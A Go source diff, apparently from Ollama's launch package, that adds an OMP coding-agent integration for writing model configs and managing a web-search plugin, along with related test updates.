||||
setLaunchTestHome(t, tmpDir)
|
||||
@@ -2138,7 +2302,7 @@ func TestLaunchIntegration_EditorForceConfigure_FloatsCheckedModelsInPicker(t *t
|
||||
writeFakeBinary(t, binDir, "droid")
|
||||
t.Setenv("PATH", binDir)
|
||||
|
||||
editor := &launcherEditorRunner{}
|
||||
editor := &launcherEditorRunner{models: []string{"llama3.2", "missing-local"}}
|
||||
withIntegrationOverride(t, "droid", editor)
|
||||
|
||||
if err := config.SaveIntegration("droid", []string{"qwen3.5:cloud", "qwen3.5"}); err != nil {
|
||||
@@ -2713,7 +2877,7 @@ func TestLaunchIntegration_ConfiguredEditorLaunchValidatesPrimaryOnly(t *testing
|
||||
writeFakeBinary(t, binDir, "droid")
|
||||
t.Setenv("PATH", binDir)
|
||||
|
||||
editor := &launcherEditorRunner{}
|
||||
editor := &launcherEditorRunner{models: []string{"llama3.2", "missing-local"}}
|
||||
withIntegrationOverride(t, "droid", editor)
|
||||
|
||||
if err := config.SaveIntegration("droid", []string{"llama3.2", "missing-local"}); err != nil {
|
||||
@@ -2778,7 +2942,11 @@ func TestLaunchIntegration_ConfiguredEditorLaunchSkipsReconfigure(t *testing.T)
|
||||
writeFakeBinary(t, binDir, "droid")
|
||||
t.Setenv("PATH", binDir)
|
||||
|
||||
editor := &launcherEditorRunner{paths: []string{"/tmp/settings.json"}}
|
||||
settingsPath := filepath.Join(t.TempDir(), "settings.json")
|
||||
if err := os.WriteFile(settingsPath, []byte("{}"), 0o644); err != nil {
|
||||
t.Fatalf("failed to seed editor settings: %v", err)
|
||||
}
|
||||
editor := &launcherEditorRunner{paths: []string{settingsPath}, models: []string{"llama3.2", "qwen3:8b"}}
|
||||
withIntegrationOverride(t, "droid", editor)
|
||||
|
||||
if err := config.SaveIntegration("droid", []string{"llama3.2", "qwen3:8b"}); err != nil {
|
||||
@@ -2821,6 +2989,58 @@ func TestLaunchIntegration_ConfiguredEditorLaunchSkipsReconfigure(t *testing.T)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegration_ConfiguredEditorLaunchRewritesDriftedLiveConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setLaunchTestHome(t, tmpDir)
|
||||
withLauncherHooks(t)
|
||||
|
||||
binDir := t.TempDir()
|
||||
writeFakeBinary(t, binDir, "droid")
|
||||
t.Setenv("PATH", binDir)
|
||||
|
||||
editor := &launcherEditorRunner{models: []string{"qwen3:8b"}}
|
||||
withIntegrationOverride(t, "droid", editor)
|
||||
|
||||
if err := config.SaveIntegration("droid", []string{"llama3.2", "mistral"}); err != nil {
|
||||
t.Fatalf("failed to seed config: %v", err)
|
||||
}
|
||||
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
t.Fatalf("did not expect prompt during a normal editor launch: %s", prompt)
|
||||
return false, nil
|
||||
}
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/api/show" {
|
||||
var req apiShowRequest
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
fmt.Fprintf(w, `{"model":%q}`, req.Model)
|
||||
return
|
||||
}
|
||||
http.NotFound(w, r)
|
||||
}))
|
||||
defer srv.Close()
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
|
||||
if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "droid"}); err != nil {
|
||||
t.Fatalf("LaunchIntegration returned error: %v", err)
|
||||
}
|
||||
if diff := cmp.Diff([][]string{{"llama3.2", "mistral"}}, editor.edited); diff != "" {
|
||||
t.Fatalf("expected editor config rewrite when live config drifts (-want +got):\n%s", diff)
|
||||
}
|
||||
if editor.ranModel != "llama3.2" {
|
||||
t.Fatalf("expected launch to use saved primary model, got %q", editor.ranModel)
|
||||
}
|
||||
|
||||
saved, err := config.LoadIntegration("droid")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to reload saved config: %v", err)
|
||||
}
|
||||
if diff := compareStrings(saved.Models, []string{"llama3.2", "mistral"}); diff != "" {
|
||||
t.Fatalf("unexpected saved models (-want +got):\n%s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegration_OpenclawPreservesExistingModelList(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setLaunchTestHome(t, tmpDir)
|
||||
@@ -2830,7 +3050,7 @@ func TestLaunchIntegration_OpenclawPreservesExistingModelList(t *testing.T) {
|
||||
writeFakeBinary(t, binDir, "openclaw")
|
||||
t.Setenv("PATH", binDir)
|
||||
|
||||
editor := &launcherEditorRunner{}
|
||||
editor := &launcherEditorRunner{models: []string{"llama3.2", "mistral"}}
|
||||
withIntegrationOverride(t, "openclaw", editor)
|
||||
|
||||
if err := config.SaveIntegration("openclaw", []string{"llama3.2", "mistral"}); err != nil {
|
||||
|
||||
@@ -496,17 +496,6 @@ func isCloudModelName(name string) bool {
|
||||
return modelref.HasExplicitCloudSource(name)
|
||||
}
|
||||
|
||||
// filterCloudModels drops remote-only models from the given inventory.
|
||||
func filterCloudModels(existing []modelInfo) []modelInfo {
|
||||
filtered := existing[:0]
|
||||
for _, m := range existing {
|
||||
if !m.Remote {
|
||||
filtered = append(filtered, m)
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
// filterCloudItems removes cloud models from selection items.
|
||||
func filterCloudItems(items []ModelItem) []ModelItem {
|
||||
filtered := items[:0]
|
||||
|
||||
@@ -0,0 +1,454 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const (
|
||||
ompIntegrationName = "omp"
|
||||
ompProviderName = "ollama"
|
||||
ompSetupVersion = 1
|
||||
ompWebSearchPlugin = "@ollama/pi-web-search"
|
||||
)
|
||||
|
||||
// OMP implements Runner for the OMP coding-agent integration.
|
||||
type OMP struct{}
|
||||
|
||||
func (o *OMP) String() string { return "OMP" }
|
||||
|
||||
func (o *OMP) Paths() []string {
|
||||
var paths []string
|
||||
for _, pathFn := range []func() (string, error){ompModelsPath, ompConfigPath} {
|
||||
path, err := pathFn()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
paths = append(paths, path)
|
||||
}
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
func (o *OMP) Configure(model string) error {
|
||||
return o.ConfigureWithModels(model, []LaunchModel{fallbackLaunchModel(model)})
|
||||
}
|
||||
|
||||
func (o *OMP) ConfigureWithModels(primary string, models []LaunchModel) error {
|
||||
if primary == "" {
|
||||
return nil
|
||||
}
|
||||
if len(models) == 0 {
|
||||
models = []LaunchModel{fallbackLaunchModel(primary)}
|
||||
}
|
||||
if err := writeOMPModelsConfig(primary, models); err != nil {
|
||||
return err
|
||||
}
|
||||
return writeOMPAgentConfig()
|
||||
}
|
||||
|
||||
func (o *OMP) CurrentModel() string {
|
||||
cfg, err := readOMPModelsConfig()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
provider, ok := ompProvider(cfg)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
if !ompProviderHealthy(provider) {
|
||||
return ""
|
||||
}
|
||||
models, _ := provider["models"].([]any)
|
||||
for _, raw := range models {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if id, _ := entry["id"].(string); id != "" {
|
||||
return id
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (o *OMP) Onboard() error {
|
||||
return config.MarkIntegrationOnboarded(ompIntegrationName)
|
||||
}
|
||||
|
||||
func (o *OMP) RequiresInteractiveOnboarding() bool { return false }
|
||||
|
||||
func (o *OMP) args(model string, extra []string) []string {
|
||||
var args []string
|
||||
if model != "" {
|
||||
args = append(args, "--model", ompModelName(model))
|
||||
}
|
||||
args = append(args, extra...)
|
||||
return args
|
||||
}
|
||||
|
||||
func ompModelName(model string) string {
|
||||
if strings.HasPrefix(model, "ollama/") {
|
||||
return model
|
||||
}
|
||||
return "ollama/" + model
|
||||
}
|
||||
|
||||
func (o *OMP) findPath() (string, error) {
|
||||
if p, err := exec.LookPath("omp"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
for _, dir := range []string{
|
||||
filepath.Join(home, ".local", "bin"),
|
||||
filepath.Join(home, ".bun", "bin"),
|
||||
} {
|
||||
for _, name := range ompExecutableNames() {
|
||||
fallback := filepath.Join(dir, name)
|
||||
if _, err := os.Stat(fallback); err == nil {
|
||||
return fallback, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", exec.ErrNotFound
|
||||
}
|
||||
|
||||
func ompExecutableNames() []string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return []string{"omp.exe", "omp.cmd", "omp.bat"}
|
||||
}
|
||||
return []string{"omp"}
|
||||
}
|
||||
|
||||
func (o *OMP) Run(model string, _ []LaunchModel, args []string) error {
|
||||
ompPath, err := o.findPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("omp is not installed, install from https://omp.sh")
|
||||
}
|
||||
|
||||
ensureOMPWebSearchPlugin(ompPath)
|
||||
|
||||
cmd := exec.Command(ompPath, o.args(model, args)...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Env = os.Environ()
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func ensureOMPWebSearchPlugin(bin string) {
|
||||
if !shouldManageOllamaWebSearch() {
|
||||
fmt.Fprintf(os.Stderr, "%sCloud is disabled; skipping %s setup.%s\n", ansiGray, ompWebSearchPlugin, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sChecking OMP web search plugin...%s\n", ansiGray, ansiReset)
|
||||
|
||||
installed, err := ompPluginInstalled(bin, ompWebSearchPlugin)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: could not check %s installation: %v%s\n", ansiYellow, ompWebSearchPlugin, err, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
verb := "Installing"
|
||||
warnVerb := "install"
|
||||
doneVerb := "Installed"
|
||||
if installed {
|
||||
verb = "Updating"
|
||||
warnVerb = "update"
|
||||
doneVerb = "Updated"
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%s%s %s...%s\n", ansiGray, verb, ompWebSearchPlugin, ansiReset)
|
||||
cmd := exec.Command(bin, "plugin", "install", ompWebSearchPlugin)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: could not %s %s: %v%s\n", ansiYellow, warnVerb, ompWebSearchPlugin, err, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%s ✓ %s %s%s\n", ansiGreen, doneVerb, ompWebSearchPlugin, ansiReset)
|
||||
}
|
||||
|
||||
func ompPluginInstalled(bin, plugin string) (bool, error) {
|
||||
cmd := exec.Command(bin, "plugin", "list")
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
return false, err
|
||||
}
|
||||
return false, fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
|
||||
versioned := plugin + "@"
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if strings.Contains(trimmed, versioned) || trimmed == plugin {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func ompModelsPath() (string, error) {
|
||||
dir, err := ompAgentDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, "models.yml"), nil
|
||||
}
|
||||
|
||||
func ompConfigPath() (string, error) {
|
||||
dir, err := ompAgentDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, "config.yml"), nil
|
||||
}
|
||||
|
||||
func ompAgentDir() (string, error) {
|
||||
if dir := strings.TrimSpace(os.Getenv("PI_CODING_AGENT_DIR")); dir != "" {
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
configDir := strings.TrimSpace(os.Getenv("PI_CONFIG_DIR"))
|
||||
if configDir == "" {
|
||||
configDir = ".omp"
|
||||
}
|
||||
if filepath.IsAbs(configDir) {
|
||||
return filepath.Join(configDir, "agent"), nil
|
||||
}
|
||||
return filepath.Join(home, configDir, "agent"), nil
|
||||
}
|
||||
|
||||
func readOMPModelsConfig() (map[string]any, error) {
|
||||
path, err := ompModelsPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var cfg map[string]any
|
||||
if err := yaml.Unmarshal(data, &cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if cfg == nil {
|
||||
cfg = make(map[string]any)
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func writeOMPModelsConfig(primary string, models []LaunchModel) error {
|
||||
path, err := ompModelsPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cfg := make(map[string]any)
|
||||
if existing, err := readOMPModelsConfig(); err == nil {
|
||||
cfg = existing
|
||||
}
|
||||
|
||||
provider := ensureOMPProvider(cfg)
|
||||
existingByID := ompModelEntriesByID(provider)
|
||||
ordered := append([]LaunchModel(nil), models...)
|
||||
if model, ok := findLaunchModel(ordered, primary); ok {
|
||||
ordered = append([]LaunchModel{model}, removeLaunchModel(ordered, primary)...)
|
||||
} else {
|
||||
ordered = append([]LaunchModel{fallbackLaunchModel(primary)}, ordered...)
|
||||
}
|
||||
|
||||
var merged []any
|
||||
seen := make(map[string]bool, len(ordered))
|
||||
for _, model := range ordered {
|
||||
if model.Name == "" || seen[model.Name] {
|
||||
continue
|
||||
}
|
||||
seen[model.Name] = true
|
||||
entry := ompModelConfig(model)
|
||||
if existing, ok := existingByID[model.Name]; ok {
|
||||
for key, value := range existing {
|
||||
if _, overridden := entry[key]; !overridden {
|
||||
entry[key] = value
|
||||
}
|
||||
}
|
||||
}
|
||||
merged = append(merged, entry)
|
||||
}
|
||||
|
||||
for _, raw := range ompProviderModels(provider) {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
merged = append(merged, raw)
|
||||
continue
|
||||
}
|
||||
id, _ := entry["id"].(string)
|
||||
if id == "" || seen[id] {
|
||||
continue
|
||||
}
|
||||
merged = append(merged, entry)
|
||||
}
|
||||
provider["models"] = merged
|
||||
|
||||
data, err := yaml.Marshal(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(path, data, ompIntegrationName)
|
||||
}
|
||||
|
||||
func writeOMPAgentConfig() error {
|
||||
path, err := ompConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cfg := make(map[string]any)
|
||||
if data, err := os.ReadFile(path); err == nil {
|
||||
if err := yaml.Unmarshal(data, &cfg); err != nil {
|
||||
return err
|
||||
}
|
||||
if cfg == nil {
|
||||
cfg = make(map[string]any)
|
||||
}
|
||||
}
|
||||
cfg["setupVersion"] = ompSetupVersion
|
||||
|
||||
data, err := yaml.Marshal(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(path, data, ompIntegrationName)
|
||||
}
|
||||
|
||||
func ensureOMPProvider(cfg map[string]any) map[string]any {
|
||||
providers, _ := cfg["providers"].(map[string]any)
|
||||
if providers == nil {
|
||||
providers = make(map[string]any)
|
||||
cfg["providers"] = providers
|
||||
}
|
||||
provider, _ := providers[ompProviderName].(map[string]any)
|
||||
if provider == nil {
|
||||
provider = make(map[string]any)
|
||||
providers[ompProviderName] = provider
|
||||
}
|
||||
|
||||
provider["baseUrl"] = ompBaseURL()
|
||||
provider["api"] = "openai-responses"
|
||||
provider["auth"] = "none"
|
||||
provider["discovery"] = map[string]any{"type": "ollama"}
|
||||
return provider
|
||||
}
|
||||
|
||||
func ompBaseURL() string {
|
||||
return strings.TrimRight(envconfig.ConnectableHost().String(), "/") + "/v1"
|
||||
}
|
||||
|
||||
func ompProviderHealthy(provider map[string]any) bool {
|
||||
baseURL, _ := provider["baseUrl"].(string)
|
||||
if strings.TrimRight(baseURL, "/") != strings.TrimRight(ompBaseURL(), "/") {
|
||||
return false
|
||||
}
|
||||
api, _ := provider["api"].(string)
|
||||
if api != "openai-responses" {
|
||||
return false
|
||||
}
|
||||
auth, _ := provider["auth"].(string)
|
||||
if auth != "none" {
|
||||
return false
|
||||
}
|
||||
discovery, _ := provider["discovery"].(map[string]any)
|
||||
if discovery == nil {
|
||||
return false
|
||||
}
|
||||
discoveryType, _ := discovery["type"].(string)
|
||||
return discoveryType == "ollama"
|
||||
}
|
||||
|
||||
func ompProvider(cfg map[string]any) (map[string]any, bool) {
|
||||
providers, ok := cfg["providers"].(map[string]any)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
provider, ok := providers[ompProviderName].(map[string]any)
|
||||
return provider, ok
|
||||
}
|
||||
|
||||
func ompProviderModels(provider map[string]any) []any {
|
||||
models, _ := provider["models"].([]any)
|
||||
return models
|
||||
}
|
||||
|
||||
func ompModelEntriesByID(provider map[string]any) map[string]map[string]any {
|
||||
out := make(map[string]map[string]any)
|
||||
for _, raw := range ompProviderModels(provider) {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if id, _ := entry["id"].(string); id != "" {
|
||||
out[id] = entry
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func ompModelConfig(modelInfo LaunchModel) map[string]any {
|
||||
entry := map[string]any{
|
||||
"id": modelInfo.Name,
|
||||
"name": modelInfo.Name,
|
||||
}
|
||||
input := []string{"text"}
|
||||
if slices.Contains(modelInfo.Capabilities, model.CapabilityVision) {
|
||||
input = append(input, "image")
|
||||
}
|
||||
entry["input"] = input
|
||||
|
||||
if modelInfo.ContextLength > 0 {
|
||||
entry["contextWindow"] = modelInfo.ContextLength
|
||||
}
|
||||
if modelInfo.MaxOutputTokens > 0 {
|
||||
entry["maxTokens"] = modelInfo.MaxOutputTokens
|
||||
}
|
||||
return entry
|
||||
}
|
||||
|
||||
func removeLaunchModel(models []LaunchModel, name string) []LaunchModel {
|
||||
out := make([]LaunchModel, 0, len(models))
|
||||
for _, model := range models {
|
||||
if launchModelMatches(model.Name, name) || launchModelMatches(name, model.Name) {
|
||||
continue
|
||||
}
|
||||
out = append(out, model)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,687 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
if os.Getenv("OLLAMA_LAUNCH_OMP_TEST_HELPER") == "1" {
|
||||
runOMPTestHelper()
|
||||
return
|
||||
}
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
|
||||
func runOMPTestHelper() {
|
||||
logPath := os.Getenv("OLLAMA_LAUNCH_OMP_TEST_LOG")
|
||||
if logPath != "" {
|
||||
f, err := os.OpenFile(logPath, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o644)
|
||||
if err == nil {
|
||||
_, _ = fmt.Fprintln(f, strings.Join(os.Args[1:], " "))
|
||||
_ = f.Close()
|
||||
}
|
||||
}
|
||||
|
||||
if len(os.Args) >= 3 && os.Args[1] == "plugin" && os.Args[2] == "list" {
|
||||
fmt.Print(os.Getenv("OLLAMA_LAUNCH_OMP_TEST_PLUGIN_LIST"))
|
||||
os.Exit(0)
|
||||
}
|
||||
if len(os.Args) >= 4 && os.Args[1] == "plugin" && os.Args[2] == "install" {
|
||||
if os.Getenv("OLLAMA_LAUNCH_OMP_TEST_FAIL_INSTALL") == "1" {
|
||||
_, _ = fmt.Fprintln(os.Stderr, "install failed")
|
||||
os.Exit(1)
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func setOMPTestHome(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
setTestHome(t, dir)
|
||||
t.Setenv("PI_CONFIG_DIR", "")
|
||||
t.Setenv("PI_CODING_AGENT_DIR", "")
|
||||
}
|
||||
|
||||
func TestOMPIntegration(t *testing.T) {
|
||||
o := &OMP{}
|
||||
|
||||
t.Run("String", func(t *testing.T) {
|
||||
if got := o.String(); got != "OMP" {
|
||||
t.Errorf("String() = %q, want %q", got, "OMP")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("implements Runner", func(t *testing.T) {
|
||||
var _ Runner = o
|
||||
})
|
||||
|
||||
t.Run("implements ManagedSingleModel", func(t *testing.T) {
|
||||
var _ ManagedSingleModel = o
|
||||
})
|
||||
|
||||
t.Run("implements ManagedModelListConfigurer", func(t *testing.T) {
|
||||
var _ ManagedModelListConfigurer = o
|
||||
})
|
||||
|
||||
t.Run("does not require interactive onboarding", func(t *testing.T) {
|
||||
var _ ManagedInteractiveOnboarding = o
|
||||
if o.RequiresInteractiveOnboarding() {
|
||||
t.Fatal("OMP onboarding should not require an interactive terminal")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestOMPArgs(t *testing.T) {
|
||||
o := &OMP{}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
model string
|
||||
args []string
|
||||
want []string
|
||||
}{
|
||||
{"with model", "gemma4", nil, []string{"--model", "ollama/gemma4"}},
|
||||
{"with cloud model", "kimi-k2.6:cloud", nil, []string{"--model", "ollama/kimi-k2.6:cloud"}},
|
||||
{"empty model", "", nil, nil},
|
||||
{"with model and extra", "gemma4", []string{"--help"}, []string{"--model", "ollama/gemma4", "--help"}},
|
||||
{"already qualified", "ollama/gemma4", nil, []string{"--model", "ollama/gemma4"}},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := o.args(tt.model, tt.args)
|
||||
if !slices.Equal(got, tt.want) {
|
||||
t.Errorf("args(%q, %v) = %v, want %v", tt.model, tt.args, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPRun_WebSearchPluginLifecycle(t *testing.T) {
|
||||
seedOMPHelperBinary := func(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
src, err := os.Executable()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
dst := filepath.Join(dir, ompExecutableNames()[0])
|
||||
if err := os.WriteFile(dst, data, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
setCloudStatus := func(t *testing.T, disabled bool) {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/api/status" {
|
||||
fmt.Fprintf(w, `{"cloud":{"disabled":%t,"source":"config"}}`, disabled)
|
||||
return
|
||||
}
|
||||
http.NotFound(w, r)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
}
|
||||
|
||||
setup := func(t *testing.T, pluginList string, cloudDisabled bool) (string, *OMP) {
|
||||
t.Helper()
|
||||
tmpDir := t.TempDir()
|
||||
setOMPTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_HELPER", "1")
|
||||
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_PLUGIN_LIST", pluginList)
|
||||
logPath := filepath.Join(tmpDir, "omp.log")
|
||||
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_LOG", logPath)
|
||||
setCloudStatus(t, cloudDisabled)
|
||||
seedOMPHelperBinary(t, tmpDir)
|
||||
return logPath, &OMP{}
|
||||
}
|
||||
|
||||
t.Run("web search missing installs before launch", func(t *testing.T) {
|
||||
logPath, o := setup(t, "No plugins installed\n", false)
|
||||
|
||||
if err := o.Run("kimi-k2.6:cloud", nil, []string{"session"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
|
||||
calls, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := string(calls)
|
||||
if !strings.Contains(got, "plugin list\n") {
|
||||
t.Fatalf("expected plugin list call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
|
||||
t.Fatalf("expected plugin install call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "--model ollama/kimi-k2.6:cloud session\n") {
|
||||
t.Fatalf("expected final omp launch call, got:\n%s", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("web search present refreshes before launch", func(t *testing.T) {
|
||||
logPath, o := setup(t, "npm Plugins:\n\n● "+ompWebSearchPlugin+"@0.0.5\n", false)
|
||||
|
||||
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
|
||||
calls, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := string(calls)
|
||||
if !strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
|
||||
t.Fatalf("expected plugin refresh install call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "--model ollama/gemma4 chat\n") {
|
||||
t.Fatalf("expected final omp launch call, got:\n%s", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("web search install failure warns and continues", func(t *testing.T) {
|
||||
logPath, o := setup(t, "No plugins installed\n", false)
|
||||
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_FAIL_INSTALL", "1")
|
||||
|
||||
stderr := captureStderr(t, func() {
|
||||
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
|
||||
t.Fatalf("Run() should continue after plugin install failure, got %v", err)
|
||||
}
|
||||
})
|
||||
if !strings.Contains(stderr, "Warning: could not install "+ompWebSearchPlugin) {
|
||||
t.Fatalf("expected install warning, got:\n%s", stderr)
|
||||
}
|
||||
|
||||
calls, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(calls), "--model ollama/gemma4 chat\n") {
|
||||
t.Fatalf("expected final omp launch call, got:\n%s", calls)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("cloud disabled skips web search plugin management", func(t *testing.T) {
|
||||
logPath, o := setup(t, "No plugins installed\n", true)
|
||||
|
||||
stderr := captureStderr(t, func() {
|
||||
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
})
|
||||
if !strings.Contains(stderr, "Cloud is disabled; skipping "+ompWebSearchPlugin+" setup.") {
|
||||
t.Fatalf("expected cloud-disabled skip message, got:\n%s", stderr)
|
||||
}
|
||||
|
||||
calls, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := string(calls)
|
||||
if strings.Contains(got, "plugin list\n") || strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
|
||||
t.Fatalf("did not expect plugin management calls, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "--model ollama/gemma4 chat\n") {
|
||||
t.Fatalf("expected final omp launch call, got:\n%s", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestOMPFindPath(t *testing.T) {
|
||||
o := &OMP{}
|
||||
|
||||
t.Run("finds omp in PATH", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
name := "omp"
|
||||
if runtime.GOOS == "windows" {
|
||||
name = "omp.exe"
|
||||
}
|
||||
fakeBin := filepath.Join(tmpDir, name)
|
||||
os.WriteFile(fakeBin, []byte("#!/bin/sh\n"), 0o755)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
|
||||
got, err := o.findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got != fakeBin {
|
||||
t.Errorf("findPath() = %q, want %q", got, fakeBin)
|
||||
}
|
||||
})
|
||||
|
||||
